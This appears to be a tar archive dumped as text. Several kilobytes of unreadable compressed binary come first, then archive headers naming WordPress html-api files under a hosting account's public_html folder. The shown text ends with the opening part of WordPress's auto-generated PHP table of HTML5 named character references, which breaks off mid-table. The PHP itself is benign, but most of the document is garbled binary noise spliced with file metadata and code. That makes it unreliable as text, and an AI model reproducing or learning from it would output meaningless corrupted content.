./S{�[��c���3��.j� ��	wpD�*�Os8�.ڬ���❋B7qy���F#W;\�+�:]�B�uDڍ�9 �e:�L��p}��-�tR���ɓj��l���)�咧�pҨ&��Q���P�=�x4��&b�y�Ƣ<7$�=Eڐ������mH��K��	�y�B���%�}*,�~���'�K�{x>0�K@�\�<�
 �&��
�j�z
�)�Q �`kX���/h��Zw��`&v����"�sj��G�Jff��;��8Á��=}����1�QW��1����4��+E���q�XX�y��F�n��2L)�b{o7������̫�<��<y�W�6
b8	�@���HwT;e¤�]\S��@��=�pY6���a�Ċ9E�a??���e\T�2��/_�M�j[^;��h�EA
�Z��@{�N1R�%z�uڱ�z��m?�'�9NØ��˳^(Yg�쩇��+QO=�h^��u�����$��+]T�*�Hf�z��En;f��s�j��Q����g��lp���Ѩ�00�PU��>X���{E�rT�⨿iz�!�z�v���f8~��r�.s(ē��'H&�O�g7d[�]��\�2~���<��c�����]���]�)��������e	�Ql|�mjMɻ"�����{�%�*`d���Ahk�򖷂�_f�5�x��>0S���]�\����8���(�29@���M���0����?��D��?��4)��hU�ޕ�K׮d���~@���:V"/��]�=��+@S#�������N@P�!C�^X�H�Sb\ƫ�a��������Z���d����R��ېn�kv6��Fqr�9�}2�&�У �_S�Rpn^���-���p�����Ud�a���w��qLΉ0�N"qƺ�I�l�iC�ձ��Z�gi��3�g�UgG\'��o�^�0�͝m��T,E�2^����4LxF	1���O1烼q�O��t�,Z�5R��eB�Ψ�[3�\����*e?;�0a���^t�c��"�ڛ�Ʋ�|�mb}�2e�Ƀh�#�O\r����'����f
�(��o"�_`�\�z�	u�j��p֮�~�?��� ͜u�A��F6���
��C�E����c�'��-��)�����E���{�[xx��=�j���O
v�C����:�A6�~O�ꯂYû�9~���A�q
�9��9L}�`/�g��.���V7�y�[\"��p�E�󄜠��4�G�c*
��ƶ[𾃭m��cG:^���cz
=�_>�P"y�������p%�Z'5�mߎg2��TO�&@�Z5���w�wN�����w�2��[=��2��r�c���_S5�
���5�/h�j�7������n+��K��
1��� ���u����s�۰��=��^JR%���aU5�'D�|� �I�q��N�A�>�AD00��h��l��߳Z(F��qc({�;�z�b�B�p��a�Ru�W6̥��3* ����v?�((�?7��7
��M�_��{�aff�_V&
�B��n������>���!�Y�0����8���!5����:�5�Scذ�w�@��^j�p�"K���ԩ1셠�%�U�`Q�N�d=�I[�t�4�V��k��(L��\��~wm�.Uk:Gý�d���D���ᤛ�-�q�+`�4�8�:��U�U�D�~�cJp�+�Y��ǁHx�8XT��Ո�����n��|C�0�\��d�^}�,�+lZH���
�`��������E�f����ٖ�ŵES|t����_��K�i/|@�ɇj�����7��Caơf�m�(<K)͇t������{���CkO�8P�Fk�z�.j�^ﰧ2���4�����=\�q;u���P�u�I=C�橻���D��7/W��{䦤/sw�����9�)���n�'*N6�t\=|�F.��xH�cz�b��00i����M�;��Ҥ!�б�e!�<M���GjrU�����ef	7�L��4�X��4�S�AjUL��X�Y�-x�/(�s�aw��߰�_wC�:���kZQQr���L�D:\8�%&�h��z�SE�dž��Q�<����p�籼2�!@�ƼL@���G/���U�0tW`څ�<:�-�Fa����ڵ�2F��Q�9����:Tt�K�[l��~8����	ב�1̄��>]-F4��J�þ�SE�Z8�]����	��Q
b�L�씜��'��o@M�n�`^D�gi}V�J�>Jk_���9��<(�9{wD�^�}��Z���@?=oj���T�wP..�{�2��ȹG��<Ifb
�W~�*�֜
J�zRc��Y�&�j�w0X-qE�x5u�\%�<Ba|��)�P���n�O9�k���X�;S�+ܜ�O�߹ǩ��M�=�ր�ޞcy��#�)�`��dpR����������M�5e�yy�2N��nW}zf2��v�;L�T;� �2�AR5�y��iЁ�N��P��C��v�@k*�M�wn��l��^�b!C��K|�I���.�jtH&�㴉��y���\��EJ������\M�j�u��S��J�9����;�{��9D�֒���S��ux��WU��ߦuҺz��InW~B�a;������W�,7�O�)38Eu��.�<���zuo�2
չ?��^9,��uZ��@��ǭM�GC�0��8�3��'T�9�{z-���f�þ�O���������H�?�b!�,:�7a�&`F����K�3~:\��_���o�~�e���v�����E���DwL��v	���b���-��bN�׿p����_����o���߿����TFė@class-wp-html-open-elements.php.php.tar.gz000064400000011263151442221670014522 0ustar00��kW��_�W��SLkȫ�@BJ	M��78M���q�W���^m��C��;3z��e�m�����F�yk4�XN����^0ވ�����$ؘF?�'�
l����<I:�Zd$Ž�D�iҍ��g��M�<z�}s��o�}��p���[[��������zp��ɒ��0�1�G�y�ض���W��+�����n�7�}|����Ì���\�`od�Ƃ^�o��ܼ@���A�{�}�݄�e3後��˲Dx��c5�E�\3/��p�[y�F8x�&<�#|�À��&�%�Y��(�ƾ^�/ �(�)��"y�H��`����O}W�s�b�W]��t�r�( ���S{�Ie4�I�B�	&C0�����k
�=Ox
H*�m�C��e�ʉnX�o�X��J�U#|�V(ө���)��ӱp�+(�GY�S�8����0>@�!O�>��'��`5�N�f�b���"A()%��%	�&
:��K��v6M�d{�W7�Ġ;�t:��x��!ޑâ����ޓ�*��W�w�K(�K�C2�f�zE,`) �П��f/yl�����3��X^Rf����0��������f,��pj�&c�3��%@�
�8&���8Z"�ԟ���D����"ԏ(��o�Lq�%2�DĪ��Ԓ��b"/��$�4�A��c0y�S6A��z�n�+��>�|�_3Z&�2`k�y���\�YI[�����(�W�x$¥�f�fNA���vDc&��� /"E�,�Ù�+���A�~
��M�A�,�Qy���L�X�fA��O�
4}°�M֞%c\{蚰/^�����?8R��N7��'l3�R���􌩆�f�n�Y���aiU��o3�Y4�K�h6:�E�2=w���א�w=:7H�߁Ў`.H�(7���H�8T�,�EP|��@�H&���nL@t-)s��s�5��K��@������K�3�V�'ax�m[��X�?J�g����!_V
���@f!�,�����W����C��:��V��O$�2�|/��L��n����T��&[E�ʱ/.�%'IRa�-�>�g���k��S�D]�ط1�[��c�eNBQ��	l
䀜l�'�S�:�7#�z�ZZ��I�y�ʉ2���;I7����,����).�f��Q7W����w	0i�M�����(��Œ�
�����K��2�%]�d�!�Ԅ�\Ӊ�GE^�8�Yb���Z�)���&��Y����XhrZ~cl�ą��ຨְ�,�~��j�����|ʢ&.9`�]ԡ��.2.�3Q�7�53w	����@��؃*NJb��ҿ#���Yd�*�L�>v��]���#�V=�7�ayvCF)o4�S�g^������`n�/=9��$4�MH�0���S톊
�,��x\z��|���p`f
�Ge���%�,֓�E[�<5.㈛<�L*��HA0�=���_GD�]%�����
ШJݜ���OK��u��0�|pY"1L�
��
����h�r��k�'���fn���b3R?�q�x&(D����!�O�lТcL�U���~!�%G��-�D�ض
���`�Iu������Uy�ήKɾ�`��F��g�?����
�!o�|��|T_�
��(�mo� '��G6^�;�y��/e������篕�1O�ϡ�!V"��(*e�p��7n�by	 ����H������B�8�A��m-��O�(-b�G���k!������U�Q�g�<�rW��:@)w���d�hr�f)����P=9@���:|�%[���Zo�0H�+�	.������@�s�,KF'��\�<�2?a���6S�����1�th���ū������Q!Pv��3��i���m�#�m�R�Ou7�w\<��Dq�`SP�!^#�j���%� ��̵�,�]��kDv�"�"�$�}�weP��C��S�lĊ���ʻr���]����(ώ�Z�6��^k�Þm�b��l4f/��$X�s
�k%�_~I���*�^�����l���Z�ޣ��������>��&�H�����f�Za��]&�5_�
�sC��6>f�㒾��|�9�;K�O�1�
`C
H��)����_�	pt�Y���$@rhC
���d�)6[/�/�V]tGR�#�R�a�#��ӂB�<��:��s��Äǿf��+�'�l�Y���u�K��_��_�&k�š���
ój3A	H�:o�<��9n\�?
O�X�;ؓ
JM�j��G�B�þ�D�6���0�#�:�r&*�i��u�}.c�KQ�x��'�l�<>)#�������Ao�����N{�'���R��с}xf��0�^�������[�����G{=|� �����z<)>ϊ���{����������V���������"N���پ��;�U.�4�;r��Ҹmç�T縦	�p
��z&p4эS�a�����R���U�!�9Z�HưÝt]c����	l�lF�9F�!�C��"&���Mq �]X{�;q)bL]�4t�j�Δ
�u�XُaلN]>��R�C�̏�R!z}D�O�Y߽�r�ug��Ɩ����Us�B�Ĥ�N�.�L/�C
�cl���qkj��f�(Ѯ�-��7(�{sC���^z�w#+B{'��>y`s�"�q
B��͆�4�Pex�e��2�T����C'y�
��'���ȶ�!L�6�Y�I!�1�:s~n��I"�пD���J��߇W�T�N:�&,e�"�����{mu��CmJT��r���ݜQ�x�A�9�륎�!�v ��h)���M�a�꼌T�����켤ଥv5�5[�۷��wc���:����^���\�8\#񝗢��'�>Q��I�[�:͌���:y}Z߭&m|���&������>�/QjĩA*Uڭپ�ҿD�S%y��pv��͉�p-a�;<Gr��]D���QU:�2�6��R�G�����TA�CpVKl5vg��0�Z���gX��֍�)Z[��Էa�x.D�ɵ�j�|lo�&;����CtB�xGDbIq��ūIr��/?\�{ך�^^�D�V�2?�Z,/W7X���s�ϝ�?� ���6?��c��J�g}��û<�+�r�E��X����Eo`ܕQ�-��A��d��p�.�m�`q�bFZM=<���g,��;�4�.����Z�~SR�(�!����L� PGݮZh��P̺��z�[[���~K����@��cM���
��.����B��cP�/f�Ҍxc8EyQ��BO�+5�u�֎�JŽ�"���]F��lK9��\h�4�*M*��Z�Yu���4�Թl@�Z�r]Q]'iA~�{��\U�XY������o���Kឮ򗙺���T1��Ee�&Fsjɲb��c1�}NL����|�����j����B]#X�Q�oX~B�ҩm��,���Vr���]v�_��^�?�o{�'��T�ɏS:�k�f�d���t�\֌`�jX��Qk�"��uH�P�tI�C������Q���F
�|x��?a矕po��@��]�:iF�,
s5�2	�_Q�k��7�佢 �`ϐdu�}	VlZL��86�q�xo� �Q�Ɨ*lӘ_�8�>'�{�U��i��Z��V��yN(ă.ȱ3��h>{Kd�M��p3e�DV߹��`ܤ� �z�
��*�VZ�)M!C�%E���eSPk/�y�]m+:��QMPg l�9+cd||S
�Ն�@�(��Z%�c�?(1A�Ԕέ���S�Q�q�D���Q%H���Ek_�xoS�
	k�EJ��ڤ��:��	�‘ T���jZږb/�O�H�V{�� ��@�t$��+��U�l>Ӗ��*�����L�@sԚw~���7��}G{������|�aIڶPLUz�1$yB�cp��*���K@ڴ׆ء
]���_-(ƿ�S�v��c�������Y�C������]�[�q��?�lC���xK�����U��r a�8r��H(����o#��&xNC�l)(x&�o��R�ߤR�_����]	4\�k������5�x;o���N�92v���yV'Fnó����#;M���b���6s�\i:�6W�ΪMt�\n-�2;��ͥ�t�\jS���0�H��?��=�!��P�^�:]�͕ڜ�M�!�ܕ�rѪY؎�"ԙ����O��c�o�N�I�3���m�kު�=�d�o���Sk���:7���u~��bh�w���~ ��O��`�XW�`/�:�uW���Y���Ux�z�Dx1�m�G��B́3��n�t���1Ihxm[D��B{}����	�[�x���$R?�#��h��ݾ �[w�@@tR��NH�j!�iL�~*u9���r��5t`٩Ω?8Q7"�����Ȗ�vqs�x�K�@��Bz.��;�T<���NB�!��@\�R����^Qx5��L‹k�	F0�(�ߝ<��<1���7�ϋ��g]u������~���7P�D�ܢ�x�
�Y[�Pc"ұ�+!y�H�~J�	�Q��#	 ��:������Y�Ϻl�%c�������}��	oM�A�_��M��������?��U�^html5-named-character-references.php.tar000064400000240000151442221670014226 0ustar00home/homerdlh/public_html/wp-includes/html-api/html5-named-character-references.php000064400000234443151440300060024445 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
